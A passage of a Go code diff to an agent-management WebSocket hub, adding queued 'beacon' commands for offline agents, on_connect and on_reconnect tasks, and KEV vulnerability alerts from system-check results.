|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -692,6 +732,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.agents[agentID] = ac
|
||||
h.mu.Unlock()
|
||||
|
||||
h.FlushBeaconCommandsToWS(agentID)
|
||||
h.ClearBeaconTransport(agentID)
|
||||
|
||||
// Start the RTT-aware ping loop now that we have an AgentConnection.
|
||||
go h.runPingLoopAgent(ac)
|
||||
|
||||
@@ -726,6 +769,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
|
||||
h.mu.RLock()
|
||||
runner := h.connectTasks
|
||||
h.mu.RUnlock()
|
||||
if runner != nil {
|
||||
if isNewAgent {
|
||||
go runner.RunConnectTasks(agentID, "on_connect")
|
||||
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
|
||||
go runner.RunConnectTasks(agentID, "on_reconnect")
|
||||
}
|
||||
}
|
||||
|
||||
case "stats":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1051,6 +1105,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Notify any handler waiting for this specific agent+action result.
|
||||
if action, _ := payload["action"].(string); action != "" {
|
||||
h.notifyCmdCallback(agentID, action, payload)
|
||||
if action == "full_sys_check" {
|
||||
if ok, _ := payload["success"].(bool); ok {
|
||||
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
|
||||
name := agentID
|
||||
if h.db != nil {
|
||||
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
|
||||
name = ag.Name
|
||||
}
|
||||
}
|
||||
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1220,11 +1287,17 @@ func (h *WSHub) RemoveAgent(agentID string) {
|
||||
|
||||
// SendAgentCommand sends a remote command to an agent.
|
||||
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
if h.isAgentConnected(agentID) {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
if h.EnqueueBeaconCommand(agentID, action, args) {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("agent %s not connected", agentID)
|
||||
}
|
||||
|
||||
// BroadcastAgentCommand sends a remote command to all connected agents.
|
||||
|
||||
Reference in New Issue
Block a user